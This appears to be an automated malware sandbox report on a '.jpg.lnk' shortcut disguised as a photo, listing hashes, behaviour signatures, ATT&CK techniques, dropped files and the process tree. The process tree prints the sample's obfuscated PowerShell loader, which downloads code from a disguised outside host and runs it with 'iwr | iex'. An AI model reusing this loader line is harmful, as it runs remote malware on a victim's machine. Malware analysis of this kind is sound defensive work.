f8a2b67ac39330bc40b72d47d8a8e42aa872dd65b9e58d80d99b67c5ac54ef04

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/07/2026, 11:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_211458.jpg.lnk
Size 1KB
Sample260725-m8nlsawset
SHA256 f8a2b67ac39330bc40b72d47d8a8e42aa872dd65b9e58d80d99b67c5ac54ef04
MD5 36c0f781bf97289237764e8703f3ef92
SHA1 bfcce0c69c535c65bf8aa98c3c3fb4ac79eb4018
SHA512 5a60f32c8dd444777a5a5d3a07eea3c1ac5090da9c9acee0adfbc95d857bdbda6f4a43a6c0751da96b4cc3e3e2232e598cdf9bc121ec37a7b119e761b6a878c9
TLSH
T1F631C0299BF20268C6B78B755872631147217B0EDA0D8FDF0280C2949965111FCB8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3724	powershell.exe
10	3724	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1144	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 3724	1144	cmd.exe	85
PID 3724 wrote to memory of 3096	3724	powershell.exe	88
PID 3096 wrote to memory of 5576	3096	csc.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_211458.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvpho','.o','se','re','nst','n','e','a','y','toi')[3,2,0,9,4,7,8,1,5,6] -join $x0tzfa) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k4tzmurl\k4tzmurl.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFAEA.tmp" "c:\Users\Admin\AppData\Local\Temp\k4tzmurl\CSC64779E856CB743ECA5AAFFA29AC9BC28.TMP"
      4⤵
      PID:5576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LICENSE.md

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fetch.js

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

RESFAEA.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFAEA.tmp
Size 1KB
SHA256 8deed21f800a5180aa0b99cfa3a096c53ef3802938ff2bb9ad4b53ba79b2a4fc
MD5 fe65e9beebcacaf6390f4063a77e2205
SHA1 4bf05be63a54302d1f07cdb9187fd5ffab6e6efc
SHA512 9be4c5f85cb3a98d94df8718234128844328fdee26166f0060662f37a069101200aedeec940f459a0746190062c0622fd3e1aacbbc778f25364084a877220949
TLSH
T1A0216A0593E88B1FF0730731ADF9032BA265FD55EF62D39B8540422C1C51144EEA1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d1k55nbp.kw3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1k55nbp.kw3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

k4tzmurl.dll

Path C:\Users\Admin\AppData\Local\Temp\k4tzmurl\k4tzmurl.dll
Size 3KB
SHA256 d7d7b25a4625b34da758043c841a56a2d685821332bf9ad582b1ff518134827f
MD5 b3c5a89c9f338ee72e34a9cfad87262a
SHA1 f04f6e184e23db965cf1aa00d14389fece07f5a5
SHA512 237de4320a5804ee3b558d5f21220c9fa755c731d1880c56e26b6ab47de147de82a292dfb85d00abdfcf6b206269c417001e67275fccb17058725ea350c783b4
TLSH
T11D51C81A93EC0A6BE8670734AFF3476737B4F8108FB3976D59800228AC607645E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC64779E856CB743ECA5AAFFA29AC9BC28.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\k4tzmurl\CSC64779E856CB743ECA5AAFFA29AC9BC28.TMP
Size 652B
SHA256 f07842a07aa8d07036d3257c5a618e6117e209a3039386e7c83db3a282a70d40
MD5 4f31fa82200f26d499126112fc42673b
SHA1 16d3867b31bb97092a24c646b7afd9f5dfff958c
SHA512 af82870f39f168905adbf0b86f9667cffcf9ca8d2f6527069c18e3d488b25015c07fdf3081df9da62602dd5245ef0f4d036c3983ecdb06d4ebe8d769a7818f01
TLSH
T12FF03A0AA3FC020AF4F34B70FEF6836391A9BC65DE32D3ED1440031D28646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

k4tzmurl.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\k4tzmurl\k4tzmurl.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

k4tzmurl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\k4tzmurl\k4tzmurl.cmdline
Size 369B
SHA256 3701fc332b9df1daaf67a383b57a99521d5c4f155ecbd7b964c7ae220bab9275
MD5 d84fd7cf425d603b25ae3eb420138af4
SHA1 ae0fb84ee2abfa90d0cd6f49154e0f3d376a69a2
SHA512 f583b7b25a189f64a247ddad8b890f52b8431c76f991271deb6deab627d92f3b0929ad21e22311077c676a754ed3639afd8b5d175bb68f6bfd508967aa273771
TLSH
T11FE0682A5346CAFE01DB1407256AC9AC837206432A403F845C49440DD8170142FD2765
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3724-25-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download

memory/3724-26-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download

memory/3724-27-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download

memory/3724-28-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download

memory/3724-31-0x000001B7A3CC0000-0x000001B7A3CD2000-memory.dmp

Download

memory/3724-32-0x000001B7A37E0000-0x000001B7A37EA000-memory.dmp

Download

memory/3724-2-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download

memory/3724-24-0x000001B7A37D0000-0x000001B7A37D8000-memory.dmp

Download

memory/3724-4-0x000001B7A37F0000-0x000001B7A3812000-memory.dmp

Download

memory/3724-3-0x000001B78A640000-0x000001B78A650000-memory.dmp

Download